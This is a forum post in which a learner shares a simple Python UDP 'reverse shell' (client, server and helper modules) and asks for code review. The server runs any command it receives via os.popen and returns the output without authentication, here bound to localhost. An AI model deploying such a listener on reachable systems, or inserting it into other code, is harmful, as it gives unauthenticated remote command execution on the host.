I'm currently learning python / network programming altogether and I coded this simple python reverse shell; I would like to hear any remarks from you regarding code structure, any common beginner mistake, actually pretty much anything that feels wrong with my code.
The code is pretty straightforward, the client sends a command to the server, then listens for the command output; the server listens for the command, executes it and sends the command output.
client.py :
#!/usr/bin/env python3
import networking
import prompt_handler
def interpreter():
while True:
prompt = prompt_handler.pull_prompt(sockt)
cmd = input(prompt)
sockt.sendto(cmd.encode('utf-8'), server)
output = networking.receive_data(sockt)
print(output)
if cmd == "quit":
break
server = ('127.0.0.1', 8001)
sockt = networking.socket_init('127.0.0.1', 9001)
sockt.sendto('client hello'.encode('utf-8'), server)
interpreter()
server.py :
#!/usr/bin/env python3
import os
import platform
import networking
# separated sends for cwd and user_string to be able to color them client side
def get_sys_info():
user_string = 'someone@' + str(platform.dist()[0]).lower()
sockt.sendto(user_string.encode('utf-8'), client)
user_cwd = os.getcwd()
sockt.sendto(user_cwd.encode('utf-8'), client)
return
def shell():
while True:
try:
get_sys_info()
cmd = networking.receive_data(sockt)
if cmd.strip() == 'quit':
sockt.sendto('Closing session...'.encode('utf-8'), client)
sockt.close()
break
else:
proc = os.popen(cmd)
output = ''.join([i for i in proc.readlines()])
sockt.sendto(output.encode('utf-8'), client)
except Exception as e:
sockt.sendto(repr(e).encode('utf-8'), client)
pass
sockt = networking.socket_init('127.0.0.1', 8001)
client = networking.receive_rhostinfo(sockt)
shell()
networking.py :
import socket
def socket_init(ip_addr, port):
sockt = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sockt.bind((ip_addr, port))
return sockt
# to be able to get the data directly - less clutter in main code
def receive_data(sockt):
data, rhost_info = sockt.recvfrom(1024)
return data.decode('utf-8')
# to be able to get the remote host info directly - less clutter in main code
def receive_rhostinfo(sockt):
data, rhost_info = sockt.recvfrom(1024)
return rhost_info
promp_handler.py
import networking
def pull_sys_info(sockt):
user_str = networking.receive_data(sockt)
cwd = networking.receive_data(sockt)
return user_str, cwd
# i was craving for some color
def pull_prompt(sockt):
user_str, cwd = pull_sys_info(sockt)
user_str = "\u001b[31m" + user_str + "\u001b[0m:"
cwd = "\u001b[34m" + cwd + "\u001b[0m$"
return user_str + cwd
If needs be you can find the code on github.